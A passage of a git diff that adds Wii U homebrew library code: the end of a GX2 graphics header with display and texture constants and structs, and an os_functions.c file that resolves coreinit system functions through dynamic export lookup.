GX2_ATTRIB_FORMAT_8_8_8_8_SINT_TO_FLOAT 0x00000A0A +#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT_TO_FLOAT 0x00000A0E + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 shader modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SHADER_MODE_UNIFORM_REGISTER 0 +#define GX2_SHADER_MODE_UNIFORM_BLOCK 1 +#define GX2_SHADER_MODE_GEOMETRY_SHADER 2 +#define GX2_SHADER_MODE_COMPUTE_SHADER 3 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 shader modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_COMP_SEL_NONE 0x04040405 +#define GX2_COMP_SEL_X001 0x00040405 +#define GX2_COMP_SEL_XY01 0x00010405 +#define GX2_COMP_SEL_XYZ1 0x00010205 +#define GX2_COMP_SEL_XYZW 0x00010203 +#define GX2_COMP_SEL_XXXX 0x00000000 +#define GX2_COMP_SEL_YYYY 0x01010101 +#define GX2_COMP_SEL_ZZZZ 0x02020202 +#define GX2_COMP_SEL_WWWW 0x03030303 +#define GX2_COMP_SEL_WZYX 0x03020100 +#define GX2_COMP_SEL_WXYZ 0x03000102 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 variable types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_VAR_TYPE_VOID 0 +#define GX2_VAR_TYPE_BOOL 1 +#define GX2_VAR_TYPE_INT 2 +#define GX2_VAR_TYPE_UINT 3 +#define GX2_VAR_TYPE_FLOAT 4 +#define GX2_VAR_TYPE_DOUBLE 5 +#define GX2_VAR_TYPE_VEC2 9 +#define GX2_VAR_TYPE_VEC3 10 +#define GX2_VAR_TYPE_VEC4 11 +#define GX2_VAR_TYPE_MAT2 21 +#define GX2_VAR_TYPE_MAT3 25 +#define GX2_VAR_TYPE_MAT4 29 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 sample types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SAMPLER_TYPE_2D 1 + + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 index formats +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_INDEX_FORMAT_U16 4 +#define GX2_INDEX_FORMAT_U32 9 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 primitive types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_PRIMITIVE_POINTS 0x01 +#define GX2_PRIMITIVE_LINES 0x02 +#define GX2_PRIMITIVE_LINE_STRIP 0x03 +#define GX2_PRIMITIVE_TRIANGLES 0x04 +#define GX2_PRIMITIVE_TRIANGLE_FAN 0x05 +#define GX2_PRIMITIVE_TRIANGLE_STRIP 0x06 +#define GX2_PRIMITIVE_RECTS 0x11 +#define GX2_PRIMITIVE_QUADS 0x13 +#define GX2_PRIMITIVE_QUAD_STRIP 0x14 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 clear modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_CLEAR_DEPTH 0x01 +#define GX2_CLEAR_STENCIL 0x02 +#define GX2_CLEAR_BOTH (GX2_CLEAR_DEPTH | GX2_CLEAR_STENCIL) + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 surface formats +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SURFACE_FORMAT_TC_R8_UNORM 0x00000001 +#define GX2_SURFACE_FORMAT_T_R4_G4_UNORM 0x00000002 +#define GX2_SURFACE_FORMAT_TCD_R16_UNORM 0x00000005 +#define GX2_SURFACE_FORMAT_TC_R8_G8_UNORM 0x00000007 +#define GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM 0x00000008 +#define GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM 0x0000000a +#define GX2_SURFACE_FORMAT_TC_R4_G4_B4_A4_UNORM 0x0000000b +#define GX2_SURFACE_FORMAT_TC_A1_B5_G5_R5_UNORM 0x0000000c +#define GX2_SURFACE_FORMAT_TC_R16_G16_UNORM 0x0000000f +#define GX2_SURFACE_FORMAT_D_D24_S8_UNORM 0x00000011 +#define GX2_SURFACE_FORMAT_T_R24_UNORM_X8 0x00000011 +#define GX2_SURFACE_FORMAT_TCS_R10_G10_B10_A2_UNORM 0x00000019 +#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM 0x0000001a +#define GX2_SURFACE_FORMAT_TCS_A2_B10_G10_R10_UNORM 0x0000001b +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UNORM 0x0000001f +#define GX2_SURFACE_FORMAT_T_BC1_UNORM 0x00000031 +#define GX2_SURFACE_FORMAT_T_BC2_UNORM 0x00000032 +#define GX2_SURFACE_FORMAT_T_BC3_UNORM 0x00000033 +#define GX2_SURFACE_FORMAT_T_BC4_UNORM 0x00000034 +#define GX2_SURFACE_FORMAT_T_BC5_UNORM 0x00000035 +#define GX2_SURFACE_FORMAT_T_NV12_UNORM 0x00000081 + +#define GX2_SURFACE_FORMAT_TC_R8_UINT 0x00000101 +#define GX2_SURFACE_FORMAT_TC_R16_UINT 0x00000105 +#define GX2_SURFACE_FORMAT_TC_R8_G8_UINT 0x00000107 +#define GX2_SURFACE_FORMAT_TC_R32_UINT 0x0000010d +#define GX2_SURFACE_FORMAT_TC_R16_G16_UINT 0x0000010f +#define GX2_SURFACE_FORMAT_T_X24_G8_UINT 0x00000111 +#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_UINT 0x00000119 +#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_UINT 0x0000011a +#define GX2_SURFACE_FORMAT_TC_A2_B10_G10_R10_UINT 0x0000011b +#define GX2_SURFACE_FORMAT_T_X32_G8_UINT_X24 0x0000011c +#define GX2_SURFACE_FORMAT_TC_R32_G32_UINT 0x0000011d +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UINT 0x0000011f +#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_UINT 0x00000122 + +#define GX2_SURFACE_FORMAT_TC_R8_SNORM 0x00000201 +#define GX2_SURFACE_FORMAT_TC_R16_SNORM 0x00000205 +#define GX2_SURFACE_FORMAT_TC_R8_G8_SNORM 0x00000207 +#define GX2_SURFACE_FORMAT_TC_R16_G16_SNORM 0x0000020f +#define GX2_SURFACE_FORMAT_T_R10_G10_B10_A2_SNORM 0x00000219 +#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SNORM 0x00000219 +#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SNORM 0x0000021a +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SNORM 0x0000021f +#define GX2_SURFACE_FORMAT_T_BC4_SNORM 0x00000234 +#define GX2_SURFACE_FORMAT_T_BC5_SNORM 0x00000235 + +#define GX2_SURFACE_FORMAT_TC_R8_SINT 0x00000301 +#define GX2_SURFACE_FORMAT_TC_R16_SINT 0x00000305 +#define GX2_SURFACE_FORMAT_TC_R8_G8_SINT 0x00000307 +#define GX2_SURFACE_FORMAT_TC_R32_SINT 0x0000030d +#define GX2_SURFACE_FORMAT_TC_R16_G16_SINT 0x0000030f +#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SINT 0x00000319 +#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SINT 0x0000031a +#define GX2_SURFACE_FORMAT_TC_R32_G32_SINT 0x0000031d +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SINT 0x0000031f +#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_SINT 0x00000322 + +#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_SRGB 0x0000041a +#define GX2_SURFACE_FORMAT_T_BC1_SRGB 0x00000431 +#define GX2_SURFACE_FORMAT_T_BC2_SRGB 0x00000432 +#define GX2_SURFACE_FORMAT_T_BC3_SRGB 0x00000433 + +#define GX2_SURFACE_FORMAT_TC_R16_FLOAT 0x00000806 +#define GX2_SURFACE_FORMAT_TCD_R32_FLOAT 0x0000080e +#define GX2_SURFACE_FORMAT_TC_R16_G16_FLOAT 0x00000810 +#define GX2_SURFACE_FORMAT_D_D24_S8_FLOAT 0x00000811 +#define GX2_SURFACE_FORMAT_TC_R11_G11_B10_FLOAT 0x00000816 +#define GX2_SURFACE_FORMAT_D_D32_FLOAT_S8_UINT_X24 0x0000081c +#define GX2_SURFACE_FORMAT_T_R32_FLOAT_X8_X24 0x0000081c +#define GX2_SURFACE_FORMAT_TC_R32_G32_FLOAT 0x0000081e +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_FLOAT 0x00000820 +#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_FLOAT 0x00000823 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 tile modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TILE_MODE_DEFAULT 0x00000000 +#define GX2_TILE_MODE_LINEAR_ALIGNED 0x00000001 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 surface use +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SURFACE_USE_TEXTURE 0x00000001 +#define GX2_SURFACE_USE_COLOR_BUFFER 0x00000002 +#define GX2_SURFACE_USE_DEPTH_BUFFER 0x00000004 +#define GX2_SURFACE_USE_SCAN_BUFFER 0x00000008 +#define GX2_SURFACE_USE_FTV 0x80000000 +#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE) +#define GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE) +#define GX2_SURFACE_USE_COLOR_BUFFER_FTV (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_FTV) +#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV (GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE | GX2_SURFACE_USE_FTV) + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 surface dim +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SURFACE_DIM_1D 0x00000000 +#define GX2_SURFACE_DIM_2D 0x00000001 +#define GX2_SURFACE_DIM_3D 0x00000002 +#define GX2_SURFACE_DIM_CUBE 0x00000003 +#define GX2_SURFACE_DIM_1D_ARRAY 0x00000004 +#define GX2_SURFACE_DIM_2D_ARRAY 0x00000005 +#define GX2_SURFACE_DIM_2D_MSAA 0x00000006 +#define GX2_SURFACE_DIM_2D_MSAA_ARRAY 0x00000007 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 AA modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_AA_MODE_1X 0x00000000 +#define GX2_AA_MODE_2X 0x00000001 +#define GX2_AA_MODE_4X 0x00000002 +#define GX2_AA_MODE_8X 0x00000003 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 texture clamp +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TEX_CLAMP_WRAP 0x00000000 +#define GX2_TEX_CLAMP_MIRROR 0x00000001 +#define GX2_TEX_CLAMP_CLAMP 0x00000002 +#define GX2_TEX_CLAMP_MIRROR_ONCE 0x00000003 +#define GX2_TEX_CLAMP_CLAMP_HALF_BORDER 0x00000004 +#define GX2_TEX_CLAMP_MIRROR_ONCE_HALF_BORDER 0x00000005 +#define GX2_TEX_CLAMP_CLAMP_BORDER 0x00000006 +#define GX2_TEX_CLAMP_MIRROR_ONCE_BORDER 0x00000007 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 texture filter +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TEX_XY_FILTER_POINT 0x00000000 +#define GX2_TEX_XY_FILTER_BILINEAR 0x00000001 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 TV scan modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TV_SCAN_MODE_NONE 0x00000000 +#define GX2_TV_SCAN_MODE_576I 0x00000001 +#define GX2_TV_SCAN_MODE_480I 0x00000002 +#define GX2_TV_SCAN_MODE_480P 0x00000003 +#define GX2_TV_SCAN_MODE_720P 0x00000004 +#define GX2_TV_SCAN_MODE_1080I 0x00000006 +#define GX2_TV_SCAN_MODE_1080P 0x00000007 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 TV render modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TV_RENDER_480_NARROW 0x00000000 +#define GX2_TV_RENDER_480_WIDE 0x00000001 +#define GX2_TV_RENDER_720 0x00000002 +#define GX2_TV_RENDER_1080 0x00000004 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 DRC render modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_DRC_NONE 0x00000000 +#define GX2_DRC_SINGLE 0x00000001 +#define GX2_DRC_DOUBLE 0x00000002 +#define GX2_DRC_SINGLE_30HZ 0x00000004 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 buffering mode +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_BUFFERING_SINGLE 0x00000001 +#define GX2_BUFFERING_DOUBLE 0x00000002 +#define GX2_BUFFERING_TRIPLE 0x00000003 +#define GX2_BUFFERING_QUAD +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 scan targets +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SCAN_TARGET_TV 0x00000001 +#define GX2_SCAN_TARGET_DRC_FIRST 0x00000004 +#define GX2_SCAN_TARGET_DRC_SECOND 0x00000008 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 invalidate types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_INVALIDATE_ATTRIB_BUFFER 0x00000001 +#define GX2_INVALIDATE_TEXTURE 0x00000002 +#define GX2_INVALIDATE_UNIFORM_BLOCK 0x00000004 +#define GX2_INVALIDATE_SHADER 0x00000008 +#define GX2_INVALIDATE_COLOR_BUFFER 0x00000010 +#define GX2_INVALIDATE_DEPTH_BUFFER 0x00000020 +#define GX2_INVALIDATE_CPU 0x00000040 +#define GX2_INVALIDATE_CPU_ATTRIB_BUFFER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_ATTRIB_BUFFER) +#define GX2_INVALIDATE_CPU_TEXTURE (GX2_INVALIDATE_CPU | GX2_INVALIDATE_TEXTURE) +#define GX2_INVALIDATE_CPU_UNIFORM_BLOCK (GX2_INVALIDATE_CPU | GX2_INVALIDATE_UNIFORM_BLOCK) +#define GX2_INVALIDATE_CPU_SHADER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_SHADER) + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 swap modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_ENDIANSWAP_DEFAULT 0x00000003 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 tessellation modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TESSELLATION_MODE_DISCRETE 0x00000000 +#define GX2_TESSELLATION_MODE_CONTINUOUS 0x00000001 +#define GX2_TESSELLATION_MODE_ADAPTIVE 0x00000002 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 fetch shader types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_FETCH_SHADER_TESSELATION_NONE 0x00000000 +#define GX2_FETCH_SHADER_TESSELATION_LINES 0x00000001 +#define GX2_FETCH_SHADER_TESSELATION_TRIANGLES 0x00000002 +#define GX2_FETCH_SHADER_TESSELATION_QUADS 0x00000003 + + +typedef struct _GX2ContextState { + u8 data[GX2_CONTEXT_STATE_SIZE]; +} GX2ContextState; + +typedef struct _GX2Surface { + s32 dimension; + u32 width; + u32 height; + u32 depth; + u32 num_mips; + s32 format; + s32 aa; + s32 use; + u32 image_size; + void *image_data; + u32 mip_size; + void *mip_data; + s32 tile; + u32 swizzle; + u32 align; + u32 pitch; + u32 mip_offset[13]; +} GX2Surface; + +typedef struct _GX2ColorBuffer { + GX2Surface surface; + u32 view_mip; + u32 view_first_slice; + u32 view_slices_count; + void *aux_data; + u32 aux_size; + u32 regs[5]; +} GX2ColorBuffer; + +typedef struct _GX2DepthBuffer { + GX2Surface surface; + u32 view_mip; + u32 view_first_slice; + u32 view_slices_count; + void *hiZ_data; + u32 hiZ_size; + f32 clear_depth; + u32 clear_stencil; + u32 regs[7]; +} GX2DepthBuffer; + + +typedef struct _GX2Texture { + GX2Surface surface; + u32 view_first_mip; + u32 view_mips_count; + u32 view_first_slice; + u32 view_slices_count; + u32 component_selector; + u32 regs[5]; +} GX2Texture; + + +typedef struct _GX2Sampler { + u32 regs[3]; +} GX2Sampler; + +typedef struct _GX2AttribStream { + u32 location; + u32 buffer; + u32 offset; + s32 format; + s32 index_type; + u32 divisor; + u32 destination_selector; + s32 endian_swap; +} GX2AttribStream; + +typedef struct _GX2FetchShader { + s32 type; + u32 reg; + u32 shader_size; + void *shader_program; + u32 attributes_count; + u32 divisor[3]; +} GX2FetchShader; + +typedef struct _GX2AttribVar +{ + const char *name; + s32 var_type; + u32 array_count; + u32 location; +} GX2AttribVar; + + +typedef struct _GX2UniformBlock { + const char *name; + u32 location; + u32 block_size; +} GX2UniformBlock; + +typedef struct _GX2UniformInitialValue { + f32 value[4]; + u32 offset; +} GX2UniformInitialValue; + +typedef struct _GX2SamplerVar +{ + const char *name; + s32 sampler_type; + u32 location; +} GX2SamplerVar; + +typedef struct _GX2UniformVar +{ + const char *name; + s32 var_type; + u32 array_count; + u32 offset; + u32 block_index; +} GX2UniformVar; + +typedef struct _GX2VertexShader { + u32 regs[52]; + u32 shader_size; + void *shader_data; + s32 shader_mode; + u32 uniform_blocks_count; + GX2UniformBlock *uniform_block; + u32 uniform_vars_count; + GX2UniformVar *uniform_var; + u32 initial_values_count; + GX2UniformInitialValue *initial_value; + u32 loops_count; + void *loops_data; + u32 sampler_vars_count; + GX2SamplerVar *sampler_var; + u32 attribute_vars_count; + GX2AttribVar *attribute_var; + u32 data[6]; + u32 shader_program_buffer[16]; +} GX2VertexShader; + +typedef struct _GX2PixelShader { + u32 regs[41]; + u32 shader_size; + void *shader_data; + s32 shader_mode; + u32 uniform_blocks_count; + GX2UniformBlock *uniform_block; + u32 uniform_vars_count; + GX2UniformVar *uniform_var; + u32 initial_values_count; + GX2UniformInitialValue *initial_value; + u32 loops_count; + void *loops_data; + u32 sampler_vars_count; + GX2SamplerVar *sampler_var; + u32 shader_program_buffer[16]; +} GX2PixelShader; + +static const u32 attribute_dest_comp_selector[20] = { + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW +}; + +static const u32 texture_comp_selector[54] = { + GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 +}; + +typedef struct _GX2Color { + u8 r, g, b, a; +} GX2Color; + +typedef struct _GX2ColorF32 { + f32 r, g, b, a; +} GX2ColorF32; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/dynamic_libs/os_functions.c b/src/dynamic_libs/os_functions.c new file mode 100644 index 0000000..d1ff75b --- /dev/null +++ b/src/dynamic_libs/os_functions.c @@ -0,0 +1,148 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "common/common.h" +#include "os_functions.h" + +unsigned int coreinit_handle = 0; + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Lib handle functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); +EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Thread functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, OSCreateThread, void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); +EXPORT_DECL(int, OSResumeThread, void *thread); +EXPORT_DECL(int, OSSuspendThread, void *thread); +EXPORT_DECL(int, OSIsThreadTerminated, void *thread); +EXPORT_DECL(int, OSIsThreadSuspended, void *thread); +EXPORT_DECL(int, OSSetThreadPriority, void * thread, int priority); +EXPORT_DECL(int, OSJoinThread, void * thread, int * ret_val); +EXPORT_DECL(void, OSDetachThread, void * thread); +EXPORT_DECL(void, OSSleepTicks, u64 ticks); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Mutex functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(void, OSInitMutex, void* mutex); +EXPORT_DECL(void, OSLockMutex, void* mutex); +EXPORT_DECL(void, OSUnlockMutex, void* mutex); +EXPORT_DECL(int, OSTryLockMutex, void* mutex); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! System functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(u64, OSGetTitleID, void); +EXPORT_DECL(void, __Exit, void); +EXPORT_DECL(void, OSFatal, const char* msg); +EXPORT_DECL(void, OSSetExceptionCallback, u8 exceptionType, exception_callback newCallback); +EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); +EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); +EXPORT_DECL(void*, OSEffectiveToPhysical, const void*); +EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Memory functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeapEx); +EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeap); +EXPORT_VAR(unsigned int *, pMEMFreeToDefaultHeap); + +EXPORT_DECL(int, MEMGetBaseHeapHandle, int mem_arena); +EXPORT_DECL(unsigned int, MEMGetAllocatableSizeForFrmHeapEx, int heap, int align); +EXPORT_DECL(void *, MEMAllocFromFrmHeapEx, int heap, unsigned int size, int align); +EXPORT_DECL(void, MEMFreeToFrmHeap, int heap, int mode); +EXPORT_DECL(void *, MEMAllocFromExpHeapEx, int heap, unsigned int size, int align); +EXPORT_DECL(int , MEMCreateExpHeapEx, void* address, unsigned int size, unsigned short flags); +EXPORT_DECL(void *, MEMDestroyExpHeap, int heap); +EXPORT_DECL(void, MEMFreeToExpHeap, int heap, void* ptr); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Loader functions (not real rpl) +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, LiWaitIopComplete, int unknown_syscall_arg_r3, int * remaining_bytes); +EXPORT_DECL(int, LiWaitIopCompleteWithInterrupts, int unknown_syscall_arg_r3, int * remaining_bytes); + +void InitOSFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Lib handle functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + EXPORT_FUNC_WRITE(OSDynLoad_Acquire, (int (*)(const char*, unsigned *))OS_SPECIFICS->addr_OSDynLoad_Acquire); + EXPORT_FUNC_WRITE(OSDynLoad_FindExport, (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport); + + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! System functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSFatal); + OS_FIND_EXPORT(coreinit_handle, OSGetTitleID); + OS_FIND_EXPORT(coreinit_handle, OSSetExceptionCallback); + OS_FIND_EXPORT(coreinit_handle, DCFlushRange); + OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, OSEffectiveToPhysical); + OS_FIND_EXPORT(coreinit_handle, __os_snprintf); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &__Exit); + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Thread functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSCreateThread); + OS_FIND_EXPORT(coreinit_handle, OSResumeThread); + OS_FIND_EXPORT(coreinit_handle, OSSuspendThread); + OS_FIND_EXPORT(coreinit_handle, OSIsThreadTerminated); + OS_FIND_EXPORT(coreinit_handle, OSIsThreadSuspended); + OS_FIND_EXPORT(coreinit_handle, OSJoinThread); + OS_FIND_EXPORT(coreinit_handle, OSSetThreadPriority); + OS_FIND_EXPORT(coreinit_handle, OSDetachThread); + OS_FIND_EXPORT(coreinit_handle, OSSleepTicks); + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Mutex functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSInitMutex); + OS_FIND_EXPORT(coreinit_handle, OSLockMutex); + OS_FIND_EXPORT(coreinit_handle, OSUnlockMutex); + OS_FIND_EXPORT(coreinit_handle, OSTryLockMutex); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Memory functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap); + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); + + OS_FIND_EXPORT(coreinit_handle, MEMGetBaseHeapHandle); + OS_FIND_EXPORT(coreinit_handle, MEMGetAllocatableSizeForFrmHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMAllocFromFrmHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMFreeToFrmHeap); + OS_FIND_EXPORT(coreinit_handle, MEMAllocFromExpHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMCreateExpHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMDestroyExpHeap); + OS_FIND_EXPORT(coreinit_handle, MEMFreeToExpHeap); +} + diff --git a/src/dynamic_libs/os_functions.h b/src/dynamic_libs/os_functions.h new file mode 100644 index 0000000..d4f9eda --- /dev/null +++ b/src/dynamic_libs/os_functions.h @@ -0,0 +1,119 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 